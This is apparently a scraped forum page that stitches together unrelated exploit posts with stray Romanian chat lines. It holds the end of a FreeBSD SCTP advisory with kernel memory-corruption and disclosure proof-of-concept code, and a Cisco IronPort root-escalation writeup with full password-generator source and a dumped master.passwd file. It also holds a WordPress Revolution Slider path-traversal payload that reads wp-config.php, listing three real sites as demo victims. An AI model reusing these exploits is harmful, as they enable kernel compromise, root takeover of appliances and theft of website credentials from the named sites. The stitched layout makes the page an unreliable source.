SCTP_INITMSG, &init, (socklen_t)sizeof(struct sctp_initmsg)) < 0) { perror("SCTP_INITMSG"); goto out; } memset(&addr, 0, sizeof(addr)); #ifdef HAVE_SIN_LEN addr.sin_len = sizeof(struct sockaddr_in); #endif addr.sin_family = AF_INET; addr.sin_port = htons(PORT); addr.sin_addr.s_addr = inet_addr(ADDR); if (connect(fd, (struct sockaddr *)&addr, sizeof(struct sockaddr_in)) < 0) { perror("connect"); goto out; } /* Set up the stcb->asoc.ss_functions struct with the function pointers belonging to the SCTP_SS_PRIORITY socket option */ memset(&assoc_value, 0, sizeof(assoc_value)); assoc_value.assoc_value = SCTP_SS_PRIORITY; assoc_value.assoc_id = SCTP_CURRENT_ASSOC; if (setsockopt(fd, IPPROTO_SCTP, SCTP_PLUGGABLE_SS, &assoc_value, (socklen_t)sizeof(struct sctp_assoc_value)) < 0){ perror("setting up function pointers"); goto out; } memset(&stream_value, 0, sizeof(stream_value)); stream_value.assoc_id = SCTP_CURRENT_ASSOC; /* * stream_id will be used as an index into the stcb->asoc.strmout array without performing bounds checking. * stream_value will be written to the calculated address. */ stream_value.stream_id = 0xFFFF; stream_value.stream_value = 0x4142; /* Triggering the vulnerability... */ if (setsockopt(fd, IPPROTO_SCTP, SCTP_SS_VALUE, &stream_value, (socklen_t)sizeof(struct sctp_stream_value)) < 0){ perror("triggering the vulnerability"); goto out; } out: if (close(fd) < 0) { perror("close"); } return(0); } -----/ The following code is a Proof of Concept for the third vulnerability: /----- #include <sys/types.h> #include <sys/socket.h> #include <netinet/in.h> #include <netinet/sctp.h> #include <netinet/sctp_uio.h> #include <arpa/inet.h> #include <string.h> #include <stdio.h> #include <stdlib.h> #include <unistd.h> #define PORT 4444 #define ADDR "127.0.0.1" int main(int argc, char *argv[]) { int fd; struct sockaddr_in addr; struct sctp_initmsg init; struct sctp_stream_value stream_value; struct sctp_assoc_value assoc_value; socklen_t opt_len; printf("** FreeBSD SCTP Socket SCTP_SS_VALUE Kernel Memory Disclosure Vulnerability **\n"); if ((fd = socket(AF_INET, SOCK_STREAM, IPPROTO_SCTP)) < 0) { perror("socket"); goto out; } memset(&init, 0, sizeof(init)); init.sinit_num_ostreams = 2048; if (setsockopt(fd, IPPROTO_SCTP, SCTP_INITMSG, &init, (socklen_t)sizeof(struct sctp_initmsg)) < 0) { perror("SCTP_INITMSG"); goto out; } memset(&addr, 0, sizeof(addr)); #ifdef HAVE_SIN_LEN addr.sin_len = sizeof(struct sockaddr_in); #endif addr.sin_family = AF_INET; addr.sin_port = htons(PORT); addr.sin_addr.s_addr = inet_addr(ADDR); if (connect(fd, (struct sockaddr *)&addr, sizeof(struct sockaddr_in)) < 0) { perror("connect"); goto out; } /* Set up the stcb->asoc.ss_functions struct with the function pointers belonging to the SCTP_SS_PRIORITY socket option */ memset(&assoc_value, 0, sizeof(assoc_value)); assoc_value.assoc_value = SCTP_SS_PRIORITY; assoc_value.assoc_id = SCTP_CURRENT_ASSOC; if (setsockopt(fd, IPPROTO_SCTP, SCTP_PLUGGABLE_SS, &assoc_value, (socklen_t)sizeof(struct sctp_assoc_value)) < 0){ perror("setting up function pointers"); goto out; } memset(&stream_value, 0, sizeof(stream_value)); opt_len = sizeof(stream_value); stream_value.assoc_id = SCTP_CURRENT_ASSOC; /* stream_id will be used as an index into the stcb->asoc.strmout array without performing bounds checking. */ stream_value.stream_id = 0x400; /* Triggering the vulnerability... */ if (getsockopt(fd, IPPROTO_SCTP, SCTP_SS_VALUE, &stream_value, &opt_len) < 0){ perror("triggering the vulnerability"); goto out; } printf("[*] Value leaked from kernel: 0x%04X\n", stream_value.stream_value); out: if (close(fd) < 0) { perror("close"); } return(0); } -----/ Note that both the second and third PoCs try to connect to a dummy SCTP server listening on localhost on port 4444, since the SCTP socket needs to be in a 'connected' state in order to trigger the vulnerabilities. The following code, based on the example code published here[5], can be used to run a simple SCTP server listening on port 4444: /----- #include <sys/types.h> #include <sys/socket.h> #include <netinet/in.h> #include <netinet/sctp.h> #include <arpa/inet.h> #include <string.h> #include <stdio.h> #include <unistd.h> #define BUFFER_SIZE (1<<16) #define PORT 4444 #define ADDR "127.0.0.1" int main(int argc, char *argv[]) { int fd, n, flags; struct sockaddr_in addr; socklen_t from_len; struct sctp_sndrcvinfo sinfo; char buffer[BUFFER_SIZE]; struct sctp_event_subscribe event; if ((fd = socket(AF_INET, SOCK_SEQPACKET, IPPROTO_SCTP)) < 0) { perror("socket"); goto out; } memset(&event, 1, sizeof(struct sctp_event_subscribe)); if (setsockopt(fd, IPPROTO_SCTP, SCTP_EVENTS, &event, sizeof(struct sctp_event_subscribe)) < 0) { perror("setsockopt"); goto out; } memset(&addr, 0, sizeof(struct sockaddr_in)); #ifdef HAVE_SIN_LEN addr.sin_len = sizeof(struct sockaddr_in); #endif addr.sin_family = AF_INET; addr.sin_port = htons(PORT); addr.sin_addr.s_addr = inet_addr(ADDR); if (bind(fd, (struct sockaddr *)&addr, sizeof(struct sockaddr_in)) < 0) { perror("bind"); goto out; } if (listen(fd, 1) < 0) { perror("listen"); goto out; } while (1) { flags = 0; memset(&addr, 0, sizeof(struct sockaddr_in)); from_len = (socklen_t)sizeof(struct sockaddr_in); memset(&sinfo, 0, sizeof(struct sctp_sndrcvinfo)); n = sctp_recvmsg(fd, (void *)buffer, BUFFER_SIZE, (struct sockaddr *)&addr, &from_len, &sinfo, &flags); if (flags & MSG_NOTIFICATION) { printf("Notification received.\n"); } else { printf("Msg of length %d received from %s:%u on stream %d, PPID %d.\n", n, inet_ntoa(addr.sin_addr), ntohs(addr.sin_port),sinfo.sinfo_stream, ntohl(sinfo.sinfo_ppid)); } } out: if (close(fd) < 0) { perror("close"); } return (0); } -----/ 9. *Report Timeline* . 2015-01-15: Initial notification sent to FreeBSD. Publication date set to Feb 16, 2015. . 2015-01-15: FreeBSD confirms reception of the report and requests the draft version of the advisory. They clarify that they usually aim for Tuesday releases depending on the severity of the problem. . 2015-01-15: Core Security sends a draft version of the advisory to the vendor and requests to be informed once they finish reviewing the vulnerabilities. . 2015-01-26: Core Security requests a status report regarding their review of the vulnerabilities and the estimated publication date. . 2015-01-26: FreeBSD confirms the bugs, but informs us that they'll only publish a security advisory for the SCTP Socket SCTP_SS_VALUE Memory Corruption and Kernel Memory Disclosure vulnerabilities. For the "vt Driver VT_WAITACTIVE Sign Conversion Vulnerability" they will commit a normal change and then release an "Errata Notice" informing the fix. They set the publication date for 27th January, 2015. . 2015-01-26: Core Security informs that understands their position regarding the vt Driver VT_WAITACTIVE Sign Conversion issue, but we will nevertheless publish thew bug in the advisory because we consider it a vulnerability. We accepted their offer of sharing CVE IDs. . 2015-01-26: FreeBSD confirms they have available CVE IDs and ask if we want to use IDs from 2014 or 2015. . 2015-01-27: FreeBSD informs us that after going through their mail archive they found out that the same issue was reported by Google and that they missed it. They inform us that they will use only one CVE ID for the two SCTP issues because they state they are of the same nature. . 2015-01-27: Core Security informs that will assign a the CVE ID CVE-2014-0998 to the vt(4) vulnerability and we requested the date and time they plan to release the fix and advisory. . 2015-01-27: FreeBSD informs they will publish the fix and advisory today. . 2015-01-27: Advisory CORE-2015-0003 published. 10. *References* [1] https://www.freebsd.org/releases/10.1R/relnotes.html#new [2] https://www.freebsd.org/cgi/man.cgi?query=vt&sektion=4 [3] https://wiki.freebsd.org/Newcons [4] https://www.freebsd.org/cgi/man.cgi?query=sctp&sektion=4 [5] http://www.bsdcan.org/2008/schedule/attachments/44_bsdcan_sctp.pdf [6] https://security.FreeBSD.org/advisories/FreeBSD-SA-15:02.kmem.asc 11. *About CoreLabs* CoreLabs, the research center of Core Security, is charged with anticipating the future needs and requirements for information security technologies. We conduct our research in several important areas of computer security including system vulnerabilities, cyber attack planning and simulation, source code auditing, and cryptography. Our results include problem formalization, identification of vulnerabilities, novel solutions and prototypes for new technologies. CoreLabs regularly publishes security advisories, technical papers, project information and shared software tools for public use at: http://corelabs.coresecurity.com. 12. *About Core Security Technologies* Core Security Technologies enables organizations to get ahead of threats with security test and measurement solutions that continuously identify and demonstrate real-world exposures to their most critical assets. Our customers can gain real visibility into their security standing, real validation of their security controls, and real metrics to more effectively secure their organizations. Core Security's software solutions build on over a decade of trusted research and leading-edge threat expertise from the company's Security Consulting Services, CoreLabs and Engineering groups. Core Security Technologies can be reached at +1 (617) 399-6980 or on the Web at: http://www.coresecurity.com. 13. *Disclaimer* The contents of this advisory are copyright (c) 2015 Core Security and (c) 2015 CoreLabs, and are licensed under a Creative Commons Attribution Non-Commercial Share-Alike 3.0 (United States) License: http://creativecommons.org/licenses/by-nc-sa/3.0/us/ 14. *PGP/GPG Keys* This advisory has been signed with the GPG key of Core Security advisories team, which is available for download at http://www.coresecurity.com/files/attachments/core_security_advisories.asc. Source

& Vezi de treaba.

/* Cisco Ironport Appliances Privilege Escalation Vulnerability Vendor: Cisco Product webpage: http://www.cisco.com Affected version(s): Cisco Ironport ESA - AsyncOS 8.5.5-280 Cisco Ironport WSA - AsyncOS 8.0.5-075 Cisco Ironport SMA - AsyncOS 8.3.6-0 Date: 22/05/2014 Credits: Glafkos Charalambous CVE: Not assigned by Cisco Disclosure Timeline: 19-05-2014: Vendor Notification 20-05-2014: Vendor Response/Feedback 27-08-2014: Vendor Fix/Patch 24-01-2015: Public Disclosure Description: Cisco Ironport appliances are vulnerable to authenticated "admin" privilege escalation. By enabling the Service Account from the GUI or CLI allows an admin to gain root access on the appliance, therefore bypassing all existing "admin" account limitations. The vulnerability is due to weak algorithm implementation in the password generation process which is used by Cisco to remotely access the appliance to provide technical support. Vendor Response: As anticipated, this is not considered a vulnerability but a security hardening issue. As such we did not assign a CVE however I made sure that this is fixed on SMA, ESA and WSA. The fix included several changes such as protecting better the algorithm in the binary, changing the algorithm itself to be more robust and enforcing password complexity when the administrator set the pass-phrase and enable the account. [SD] Note: Administrative credentials are needed in order to activate the access to support representative and to set up the pass-phrase that it is used to compute the final password. [GC] Still Admin user has limited permissions on the appliance and credentials can get compromised too, even with default password leading to full root access. [SD] This issue is tracked for the ESA by Cisco bug id: CSCuo96011 for the SMA by Cisco bug id: CSCuo96056 and for WSA by Cisco bug id CSCuo90528 Technical Details: By logging in to the appliance using default password "ironport" or user specified one, there is an option to enable Customer Support Remote Access. This option can be found under Help and Support -> Remote Access on the GUI or by using the CLI console account "enablediag" and issuing the command service. Enabling this service requires a temporary user password which should be provided along with the appliance serial number to Cisco techsupport for remotely connecting and authenticating to the appliance. Having a temporary password and the serial number of the appliance by enabling the service account, an attacker can in turn get full root access as well as potentially damage it, backdoor it, etc. PoC: Enable Service Account ---------------------- root@kali:~# ssh -lenablediag 192.168.0.158 Password: Last login: Sat Jan 24 15:47:07 2015 from 192.168.0.163 Copyright (c) 2001-2013, Cisco Systems, Inc. AsyncOS 8.5.5 for Cisco C100V build 280 Welcome to the Cisco C100V Email Security Virtual Appliance Available Commands: help -- View this text. quit -- Log out. service -- Enable or disable access to the service system. network -- Perform emergency configuration of the diagnostic network interface. clearnet -- Resets configuration of the diagnostic network interface. ssh -- Configure emergency SSH daemon on the diagnostic network interface. clearssh -- Stop emergency SSH daemon on the diagnostic network interface. tunnel -- Start up tech support tunnel to IronPort. print -- Print status of the diagnostic network interface. reboot -- Reboot the appliance. S/N 564DDFABBD0AD5F7A2E5-2C6019F508A4 Service Access currently disabled. ironport.example.com> service Service Access is currently disabled. Enabling this system will allow an IronPort Customer Support representative to remotely access your system to assist you in solving your technical issues. Are you sure you want to do this? [Y/N]> Y Enter a temporary password for customer support to use. This password may not be the same as your admin password. This password will not be able to be used to directly access your system. []> cisco123 Service access has been ENABLED. Please provide your temporary password to your IronPort Customer Support representative. S/N 564DDFABBD0AD5F7A2E5-2C6019F508A4 Service Access currently ENABLED (0 current service logins) ironport.example.com> Generate Service Account Password --------------------------------- Y:\Vulnerabilities\cisco\ironport>woofwoof.exe Usage: woofwoof.exe -p password -s serial -p <password> | Cisco Service Temp Password -s <serial> | Cisco Serial Number -h | This Help Menu Example: woofwoof.exe -p cisco123 -s 564DDFABBD0AD5F7A2E5-2C6019F508A4 Y:\Vulnerabilities\cisco\ironport>woofwoof.exe -p cisco123 -s 564DDFABBD0AD5F7A2E5-2C6019 F508A4 Service Password: b213c9a4 Login to the appliance as Service account with root privileges -------------------------------------------------------------- root@kali:~# ssh -lservice 192.168.0.158 Password: Last login: Wed Dec 17 21:15:24 2014 from 192.168.0.10 Copyright (c) 2001-2013, Cisco Systems, Inc. AsyncOS 8.5.5 for Cisco C100V build 280 Welcome to the Cisco C100V Email Security Virtual Appliance # uname -a FreeBSD ironport.example.com 8.2-RELEASE FreeBSD 8.2-RELEASE #0: Fri Mar 14 08:04:05 PDT 2014 auto-build@vm30esa0109.ibeng:/usr/build/iproot/freebsd/mods/src/sys/amd64/compile/MESSAGING_GATEWAY.amd64 amd64 # cat /etc/master.passwd # $Header: //prod/phoebe-8-5-5-br/sam/freebsd/install/dist/etc/master.passwd#1 $ root:*:0:0::0:0:Mr &:/root:/sbin/nologin service:$1$bYeV53ke$Q7hVZA5heeb4fC1DN9dsK/:0:0::0:0:Mr &:/root:/bin/sh enablediag:$1$VvOyFxKd$OF2Cs/W0ZTWuGTtMvT5zc/:999:999::0:0:Administrator support access control:/root:/data/bin/enablediag.sh adminpassword:$1$aDeitl0/$BlmzKUSeRXoc4kcuGzuSP/:0:1000::0:0:Administrator Password Tool:/data/home/admin:/data/bin/adminpassword.sh daemon:*:1:1::0:0:Owner of many system processes:/root:/sbin/nologin operator:*:2:5::0:0:System &:/:/sbin/nologin bin:*:3:7::0:0:Binaries Commands and Source,,,:/:/sbin/nologin tty:*:4:65533::0:0:Tty Sandbox:/:/sbin/nologin kmem:*:5:65533::0:0:KMem Sandbox:/:/sbin/nologin man:*:9:9::0:0:Mister Man Pages:/usr/share/man:/sbin/nologin sshd:*:22:22::0:0:Secure Shell Daemon:/var/empty:/sbin/nologin nobody:*:65534:65534::0:0:Unprivileged user:/nonexistent:/sbin/nologin support:$1$FgFVb064$SmsZv/ez7Pf4wJLp5830s/:666:666::0:0:Mr &:/root:/sbin/nologin admin:$1$VvOyFxKd$OF2Cs/W0ZTWuGTtMvT5zc/:1000:1000::0:0:Administrator:/data/home/admin:/data/bin/cli.sh clustercomm:*:900:1005::0:0:Cluster Communication User:/data/home/clustercomm:/data/bin/command_proxy.sh smaduser:*:901:1007::0:0:Smad User:/data/home/smaduser:/data/bin/cli.sh spamd:*:783:1006::0:0:CASE User:/usr/case:/sbin/nologin pgsql:*:70:70::0:0:PostgreSQL pseudo-user:/usr/local/pgsql:/bin/sh ldap:*:389:389::0:0:OpenLDAP Server:/nonexistent:/sbin/nologin */ #include <stdio.h> #include <stdlib.h> #include <string.h> #include <ctype.h> #include "md5.h" #include "getopt.h" #define MAX_BUFFER 128 #define SECRET_PASS "woofwoof" void usage(char *name); void to_lower(char *str); void fuzz_string(char *str); int main(int argc, char *argv[]) { if (argc < 2) { usage(argv[0]); } int opt; int index; char *temp_pass = { 0 }; char *serial_no = { 0 }; char *secret_pass = SECRET_PASS; char service[MAX_BUFFER] = { 0 }; unsigned char digest[16] = { 0 }; while ((opt = getopt(argc, argv, "p:s:h")) != -1) { switch (opt) { case 'p': temp_pass = optarg; break; case 's': serial_no = optarg; break; case 'h': usage(argv[0]); break; default: printf_s("Wrong Argument: %s\n", argv[1]); break; } } for (index = optind; index < argc; index++) { usage(argv[0]); exit(0); } if (temp_pass == NULL || serial_no == NULL) { usage(argv[0]); exit(0); } if ((strlen(temp_pass) <= sizeof(service)) && (strlen(serial_no) <= sizeof(service))) { to_lower(serial_no); fuzz_string(temp_pass); strcpy_s(service, sizeof(service), temp_pass); strcat_s(service, sizeof(service), serial_no); strcat_s(service, sizeof(service), secret_pass); MD5_CTX context; MD5_Init(&context); MD5_Update(&context, service, strlen(service)); MD5_Final(digest, &context); printf_s("Service Password: "); for (int i = 0; i < sizeof(digest)-12; i++) printf("%02x", digest[i]); } return 0; } void fuzz_string(char *str) { while (*str){ switch (*str) { case '1': *str = 'i'; break; case '0': *str = 'o'; break; case '_': *str = '-'; break; } str++; } } void to_lower(char *str) { while (*str) { if (*str >= 'A' && *str <= 'Z') { *str += 0x20; } str++; } } void usage(char *name) { printf_s("\nUsage: %s -p password -s serial\n", name); printf_s(" -p <password> | Cisco Service Temp Password\n"); printf_s(" -s <serial> | Cisco Serial Number\n"); printf_s(" -h | This Help Menu\n"); printf_s("\n Example: %s -p cisco123 -s 564DDFABBD0AD5F7A2E5-2C6019F508A4\n", name); exit(0); } Source

[+] Title: Wordpress slider reolusion local file download [+] Date: 2015-01-25 [+] Author: JOK3R [+] Vendor Homepage: https://wordpress.org/plugins/patch-for-revolution-slider/ [+] Tested on: windows 7 / firefox , kali linux / firefox [+] Vulnerable Files: /plugins/revolution-slider/ [+} Dork : "Index of" /wp-content/plugins/revolution-slider/ ### POC: http://victim/wp-admin/admin-ajax.php?action=revolution-slider_show_image&img=../wp-config.php ### Demo: http://www.bungaburgerbar.com/wp-admin/admin-ajax.php?action=revolution-slider_show_image&img=../wp-config.php http://www.peanut215.com/peanut/wp-admin/admin-ajax.php?action=revolution-slider_show_image&img=../wp-config.php http://www.pro-businesscenter.com/wp-admin/admin-ajax.php?action=revolution-slider_show_image&img=../wp-config.php ### Credits: [+] Special Thanks: Sheytan Azzam - Mohamad NOfozi - Root3r - Sina_lizard - Ali Ahmady - iliya Norton - Mr.Moein* - ALIREZA_PROMIS* And All iranian Hacker's And Exploiter's <3 [+] iran-cyber.in Source

Mi-am luat de 6 ori ban de la @Bit-ul nu am injurat doar m-am conectat! sa se uite un administrator in log-uri sa vada daca am injurat! va vorbiti pe chat ca sa ii luati apararea lu Gecko, sa va fie rusine!